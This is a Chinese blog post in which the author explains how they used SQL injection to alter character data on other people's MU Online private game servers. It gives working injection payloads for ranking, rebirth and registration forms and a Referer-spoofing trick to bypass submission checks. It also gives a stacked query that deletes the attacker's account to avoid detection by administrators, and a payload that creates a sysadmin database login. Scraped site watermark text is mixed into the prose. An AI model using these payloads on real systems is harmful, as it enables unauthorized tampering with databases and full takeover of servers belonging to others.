奇迹私服SQL注入大揭密


Published:   Comment: No Comments

游戏设置

MU的WEB系统一直与SQL的注入有着不之缘,我最初也只听说过SQL的注入,后来发现很多的SF都没有检查特殊字符,自己也没有太多的时间玩,才开始学习如何注入。时至今日,感觉还是学了不少东西,虽然改SF为大多数人不齿。

最早改排名的是我的老师,虽然这个方法我从来没有成功,但是告诉了我如何去改。这个方法大概是这样的
100top.as?class=1';update character set .... where name='名字';--

然后是改转生,在我第一次改转生的时候,应该说,转生的漏洞广为人知了,但很遗憾,很多SF没有注意,给了我一个锻炼的机会。转生的修改些许麻烦一点,首先要把原来的页面保存,修改form的action(+上的地址,或者使用base参数)和输入框的输入限制,然后在密码或者角色名字的地方输入

1' or 1=1;update character set ... where name = '名字';-- 其他的输入框按要求填,洗红名的地方也是一样的修改方法。

以上一般了解计算机的人都能学会,所以改的人很多,漏洞修补的也很快。
后来,有个修改了转生,却忘记了洗名字的地方,还禁止了远程提交,于是我有开始学习如何模拟远程提交(后来看了http协议,才知道referer这个参数在起作用),于是开始写一些提交程序,后来大概了解到,好象vbscript也有控件支持提交以及http头设置。

Post http /1.1 织梦内容管理系统

Accept: /
Referer:
然后同上面的方法一样,把某一个参数输入1' or 1=1;update character set .... where name='名字';--
在后来,洗名字转生==地方都检查特殊字符。最传统的

select * from character where name='&ps_charname&'... 的注入失去了作用,遗憾的是fishserver至近还存在这样的漏洞(email地方,以及还没有公布的nickname地方,今天算了公布了,可能是hellfish个人很忙,更新不及时,所以fishserver漏洞很多,在后面的介绍中还会说一说它的另外一个漏洞) 这种修改方式算了走到了尽头。 织梦好,好织梦

但是,还有另外的一个修改地方,就是注册,我估计有其他的人在这个地方修改,但是没有一直没有结识过,很希望能得到高手的指点。到目前为止,要在注册的地方修改,需要对计算机很了解的人才能做到,首先是要会写程序,避开禁止远程提交,然后是理解SQL,构造合适的SQL注册语句。下面简要说明其中的SQL构造。

SQL SERVER中,可以同时执行多条语句,但是有个限制条件,前面一条语句出错的话,后面的语句无法执行。我们知道,在注册的时候需要填写的数据有

ps_loginname=noname912
ps_password=111111
ps_repassword=111111
ps_answer=123456
ps_person_id=111111111111111111
ps_sno_numb=111111111111111111
ps_question=654321

ps_nickname=111111

但是,一般的系统只检查了ps-loginname(避开select的传统攻击),却不知道,后面的还有一个SQL语句 织梦好,好织梦

insert into memb_info values(......,ps_email,ps_question,ps_answer....) 本文来自织梦

出于对SQL注入的理解,学过计算机的人应该明白,这个地方同样存在一样的问题,首先要对memb-info的表结构清楚,然后,构造一个完整的insert语句,将ps-email改写如下 织梦好,好织梦

); delete from memb_info where memb___id = 'NoName911' or memb___id = 'NoName912';update character set ... where name='名字';-- 织梦内容管理系统

需要构造完整的insert语句,否则,后面的语句也不能执行,然后delete语句是为了避免每次修改都注册了一个帐号,容易让GM发现,所以一注册就删除,知道后面的update就是修改部分,对公开了1433端口的SF,就可以使用

use Master;exec sp_addlogin 'System', 'manager', 'MuOnline';exec sp_adduser 'System', 'System', 'db_owner';exec sp_addsrvrolemember sysadmin,'System';--<

none
Last Modified:2023-12-13 01:03:48

我有话说